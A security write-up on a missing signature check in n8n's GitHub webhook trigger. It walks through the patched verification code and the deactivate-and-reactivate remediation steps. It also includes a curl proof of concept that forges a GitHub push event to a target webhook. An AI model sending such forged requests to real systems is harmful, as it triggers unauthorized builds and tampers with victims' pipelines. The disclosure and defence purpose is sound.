The Automation Trap: Forging GitHub Webhooks in n8n

n8n is the darling of the self-hosted automation world. It’s the glue that holds together the disparate APIs of modern devops infrastructure. You push code to GitHub, n8n catches the webhook, runs some tests, updates a Slack channel, and maybe deploys a container. It’s magic. But magic often relies on illusion, and in this case, the illusion was security.

For a long time, the GitHub Trigger node in n8n operated on the "honor system." When you set up a webhook in GitHub, you are supposed to define a secret. GitHub uses this secret to hash the payload and sends it in the X-Hub-Signature-256 header. The receiver (n8n) is supposed to re-hash the payload and check if it matches.

Here’s the punchline: n8n didn't check. It ignored the signature entirely. It was like a bouncer who checks if you're on the list but doesn't check your ID. As long as you knew where the party was (the webhook URL), you could walk right in claiming to be the CEO.

The vulnerability is actually a two-headed monster. The first head is the missing signature verification we just mentioned. But the second head is what made this truly dangerous: Predictable Identifiers.

n8n workflows are defined in JSON. Developers love to share them. "Hey, check out this cool CI/CD pipeline I built!" Copy JSON, Paste into Gist. When another user imported that JSON, n8n helpfully preserved the webhookId—the unique path component of the URL. This meant that if you imported a workflow, you were often listening on the exact same endpoint path as the original author (or anyone else who copied it).

Because there was no cryptographic verification, the only thing stopping an attacker was the secrecy of the URL. But if the URL is hardcoded in a public Gist, or if the webhookId is short and guessable, that protection evaporates. It’s security by obscurity, where the obscurity is printed on a billboard.

Let's look at the fix to understand the breakage. The remediation required changes in both the backend (to actually check signatures) and the frontend (to stop copying webhook IDs).

In the backend, the fix (Commit afe32232) finally introduced a verifySignature helper. Before this code existed, the node simply accepted the request. Now, it performs a standard HMAC-SHA256 check.

> [!NOTE] > Notice the use of timingSafeEqual. This is crucial. A standard string comparison (==) is susceptible to timing attacks, where an attacker can guess the signature byte-by-byte based on how long the server takes to reject it.

// packages/nodes-base/nodes/Github/GithubTriggerHelpers.ts
 
export function verifySignature(this: IWebhookFunctions): boolean {
    const webhookData = this.getWorkflowStaticData('node');
    const webhookSecret = webhookData.webhookSecret as string | undefined;
 
    // THE LEGACY TRAP: If no secret exists, fail open (allow access)
    // This is for backward compatibility, but it's dangerous.
    if (!webhookSecret) return true;
 
    const req = this.getRequestObject();
    const signature = req.header('x-hub-signature-256');
    if (!signature || !signature.startsWith('sha256=')) return false;
 
    const providedSignature = signature.substring(7);
    const hmac = createHmac('sha256', webhookSecret);
    
    // Hash the raw body
    hmac.update(Buffer.isBuffer(req.rawBody) ? req.rawBody : JSON.stringify(req.rawBody));
    
    return timingSafeEqual(Buffer.from(hmac.digest('hex')), Buffer.from(providedSignature));
}

The frontend fix (Commit a19347a6) ensures that when you paste a node, a new UUID is generated for the webhook, breaking the "Xerox Effect."

Exploiting this is trivially easy if you have the URL. Let's say you found a leaked n8n workflow URL for a company's deployment pipeline: https://n8n.corp.target/webhook/github-deploy.

You want to trick their n8n instance into thinking the main branch was just updated, perhaps triggering a build that pulls from your malicious repository (if the workflow logic is flawed) or simply poisoning their logs/databases.

The Attack Chain:

The Payload:

You don't even need to calculate a signature because the vulnerable server ignores it. You just need curl:

curl -X POST https://target-n8n.com/webhook/1234-5678 \
     -H "Content-Type: application/json" \
     -H "X-GitHub-Event: push" \
     -d '{
           "ref": "refs/heads/main",
           "repository": {
             "name": "production-api",
             "full_name": "company/production-api"
           },
           "commits": [
             {
               "id": "malicious-commit-hash",
               "message": "Legit update",
               "author": { "name": "admin" }
             }
           ]
         }'

If the workflow uses the commit message to generate changelogs or sends the commit author an email with internal secrets, you own that process now.

Upgrading to n8n version 1.123.15 or 2.5.0 is the first step, but it is NOT sufficient. This is where many administrators will fail.

Remember that line in the code analysis? if (!webhookSecret) return true;. This is the backward compatibility bridge. When you update n8n, your existing workflows do not have a secret generated yet. They are still running in "Legacy Mode," effectively failing open to ensure your automations don't break overnight.

To actually fix the vulnerability, you must:

1. Update the n8n instance.
2. Open every workflow containing a GitHub Trigger node.
3. Deactivate the workflow.
4. Reactivate the workflow.

Only upon reactivation does the new code generate a cryptographically secure secret and register it with GitHub. Until you do this, you are still vulnerable, even on the latest version. It's a UX compromise that favors uptime over security default—a classic trade-off.